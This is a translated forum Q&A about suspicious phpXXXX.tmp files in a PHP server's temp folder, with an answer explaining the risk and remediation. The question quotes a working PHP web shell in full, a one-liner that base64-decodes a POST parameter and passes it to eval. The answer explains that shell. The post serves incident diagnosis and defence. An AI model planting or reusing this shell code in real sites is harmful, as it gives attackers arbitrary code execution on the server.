PHP 代码包含在临时目录的 phpXXXX.tmp 个文件中

PHP code contained in phpXXXX.tmp files in temp directory

我注意到我们的临时目录中有一些看起来像是临时文件的文件,其名称类似于 phpA3F9.tmp

查看内容我发现一个数字后跟一些PHP代码,以下代码出现在几个文件中

9990000    
<?php 
    $mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']); @eval("$safedg = $xsser;"); } ?>

这似乎是一次攻击尝试,但我认为它依赖于攻击者能够执行 tmp 文件夹中的代码。

谁能解释一下这是怎么回事?有什么风险?这些文件如何进入 tmp 文件夹?我该如何阻止它们?

我不知道它是否相关,但我们在 IIS 上 运行 PHP 5.5

简而言之:您的服务器可能已经遭到入侵。

那些是 PHP shells - 在它们所在的地方大多无害,但如果它们进入您的网络根目录,它们将允许攻击者在您的服务器上执行任意代码。

理解 shell 的关键部分是:

$xsser=base64_decode($_POST['z0']);
@eval("$safedg = $xsser;");

它接受来自 $_POST 变量的任何代码,base64_decodes 它,然后通过 eval 运行它,同时抑制任何错误。

它们可能是通过您网站上的表单上传的,并作为中间步骤被转储到临时文件夹中,希望它们能被移动到网络可访问的位置。另一种选择是你的服务器上已经有一个 shell 或 rootkit,它会将这些文件放在它可以找到的任何可写文件夹中。

那该怎么办呢?检查您的服务器日志 - 如果您看到任何与您不认识的脚本的成功连接,您可能会受到威胁。在您的站点上查找任何上传表单,并将它们锁定(需要用户身份验证等),然后如果您确定自己已受到威胁,请不要费心尝试清理它。启动新服务器,将您的 clean 代码、重要文件和数据迁移到干净的服务器。